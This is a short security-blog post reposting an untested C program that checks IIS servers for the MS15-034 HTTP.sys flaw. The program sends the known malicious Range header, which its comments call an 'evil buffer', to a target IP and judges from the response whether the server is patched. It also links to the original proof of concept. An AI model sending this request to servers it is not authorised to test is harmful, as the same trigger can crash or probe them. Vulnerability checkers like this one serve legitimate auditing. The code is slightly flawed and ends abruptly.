Based in San Francisco Bay Area, Securesql is a blog by John Menerick. His insights dissect complex systems, offering a masterclass in cyber guardianship through expert analysis and cutting-edge protective strategies.

Interesting exploit detection script for MS15-34

/*

 UNTESTED - MS15-034 Checker

  

 THE BUG:

 

    8a8b2112 56              push    esi

    8a8b2113 6a00            push    0

    8a8b2115 2bc7            sub     eax,edi

    8a8b2117 6a01            push    1

    8a8b2119 1bca            sbb     ecx,edx

    8a8b211b 51              push    ecx

    8a8b211c 50              push    eax

    8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

 

    ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

 

    BY: [email protected]

    Twitter: @rhcp011235

*/

 

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <netdb.h>

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <errno.h>

#include <arpa/inet.h> 

 

int connect_to_server(char *ip)

{

int sockfd = 0, n = 0;

 

     struct sockaddr_in serv_addr;

     struct hostent *server;

 

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)

        {

            printf("\n Error : Could not create socket \n");

            return 1;

        }

 

memset(&serv_addr, '0', sizeof(serv_addr));

serv_addr.sin_family = AF_INET;

        serv_addr.sin_port = htons(80);

if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)

        {

            printf("\n inet_pton error occured\n");

            return 1;

        }

if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)

        {

               printf("\n Error : Connect Failed \n");

              return 1;

        } 

 

return sockfd;

}

 

 

int main(int argc, char *argv[])

{

    int n = 0;

    int sockfd;

    char recvBuff[1024];

 

    // Check server

    char request[] = "GET / HTTP/1.0\r\n\r\n";

 

    // our evil buffer

    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";

 

 

    if(argc != 2)

    {

        printf("\n Usage: %s <ip of server> \n",argv[0]);

        return 1;

    } 

 

    printf("[*] Audit Started\n");

    sockfd = connect_to_server(argv[1]);

    write(sockfd, request, strlen(request)); 

    read(sockfd, recvBuff, sizeof(recvBuff)-1);

 

    if (!strstr(recvBuff,"Microsoft"))

    {

        printf("[*] NOT IIS\n");

        exit(1);

    }

 

    sockfd = connect_to_server(argv[1]);

    write(sockfd, request1, strlen(request1));

    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (strstr(recvBuff,"Requested Range Not Satisfiable"))

    {

                printf("[!!] Looks VULN\n");

                exit(1);

    } else if(strstr(recvBuff,"The request has an invalid header name")) {

printf("[*] Looks Patched");

} else

printf("[*] Unexpected response, cannot discern patch status");

ElasticSearch honeypot dataset

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